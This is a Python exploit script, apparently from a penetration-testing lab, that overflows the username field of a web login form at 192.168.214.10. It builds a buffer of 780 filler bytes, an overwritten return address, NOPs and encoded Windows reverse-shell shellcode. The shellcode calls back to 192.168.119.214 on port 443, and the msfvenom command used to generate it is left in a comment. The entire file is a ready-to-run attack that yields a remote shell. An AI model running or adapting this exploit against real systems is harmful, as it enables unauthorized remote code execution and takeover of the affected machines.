#!/usr/bin/python
import socket
import sys

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.214 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
shellcode = ("\xbe\xdc\x5a\x2f\xc5\xda\xde\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x52\x31\x72\x12\x03\x72\x12\x83\x1e\x5e\xcd\x30\x62\xb7\x93"
"\xbb\x9a\x48\xf4\x32\x7f\x79\x34\x20\xf4\x2a\x84\x22\x58\xc7"
"\x6f\x66\x48\x5c\x1d\xaf\x7f\xd5\xa8\x89\x4e\xe6\x81\xea\xd1"
"\x64\xd8\x3e\x31\x54\x13\x33\x30\x91\x4e\xbe\x60\x4a\x04\x6d"
"\x94\xff\x50\xae\x1f\xb3\x75\xb6\xfc\x04\x77\x97\x53\x1e\x2e"
"\x37\x52\xf3\x5a\x7e\x4c\x10\x66\xc8\xe7\xe2\x1c\xcb\x21\x3b"
"\xdc\x60\x0c\xf3\x2f\x78\x49\x34\xd0\x0f\xa3\x46\x6d\x08\x70"
"\x34\xa9\x9d\x62\x9e\x3a\x05\x4e\x1e\xee\xd0\x05\x2c\x5b\x96"
"\x41\x31\x5a\x7b\xfa\x4d\xd7\x7a\x2c\xc4\xa3\x58\xe8\x8c\x70"
"\xc0\xa9\x68\xd6\xfd\xa9\xd2\x87\x5b\xa2\xff\xdc\xd1\xe9\x97"
"\x11\xd8\x11\x68\x3e\x6b\x62\x5a\xe1\xc7\xec\xd6\x6a\xce\xeb"
"\x19\x41\xb6\x63\xe4\x6a\xc7\xaa\x23\x3e\x97\xc4\x82\x3f\x7c"
"\x14\x2a\xea\xd3\x44\x84\x45\x94\x34\x64\x36\x7c\x5e\x6b\x69"
"\x9c\x61\xa1\x02\x37\x98\x22\xed\x60\xd5\x64\x85\x72\x19\x88"
"\xed\xfa\xff\xe0\x01\xab\xa8\x9c\xb8\xf6\x22\x3c\x44\x2d\x4f"
"\x7e\xce\xc2\xb0\x31\x27\xae\xa2\xa6\xc7\xe5\x98\x61\xd7\xd3"
"\xb4\xee\x4a\xb8\x44\x78\x77\x17\x13\x2d\x49\x6e\xf1\xc3\xf0"
"\xd8\xe7\x19\x64\x22\xa3\xc5\x55\xad\x2a\x8b\xe2\x89\x3c\x55"
"\xea\x95\x68\x09\xbd\x43\xc6\xef\x17\x22\xb0\xb9\xc4\xec\x54"
"\x3f\x27\x2f\x22\x40\x62\xd9\xca\xf1\xdb\x9c\xf5\x3e\x8c\x28"
"\x8e\x22\x2c\xd6\x45\xe7\x5c\x9d\xc7\x4e\xf5\x78\x92\xd2\x98"
"\x7a\x49\x10\xa5\xf8\x7b\xe9\x52\xe0\x0e\xec\x1f\xa6\xe3\x9c"
"\x30\x43\x03\x32\x30\x46")

try:
    print "\nSending evil buffer..."

    filler = "A" * 780
    eip = "\x83\x0c\x09\x10"
    offset = "C" * 4
    nops = "\x90" * 10
    
    inputBuffer = filler + eip + offset + nops + shellcode
    
    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.214.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\r\n"
    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Accept-Encoding: gzip, deflate\r\n"
    buffer += "Referer: http://192.168.214.10/login\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "DNT: 1\r\n"
    buffer += "Connection: keep-alive\r\n"
    buffer += "Upgrade-Insecure-Requests: 1\r\n"
    buffer += "\r\n"
    
    buffer += content
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("192.168.214.10", 80))
    s.send(buffer)

    s.close()
    print "\nDone!"

except:
    print "Could not connect!"
    sys.exit()
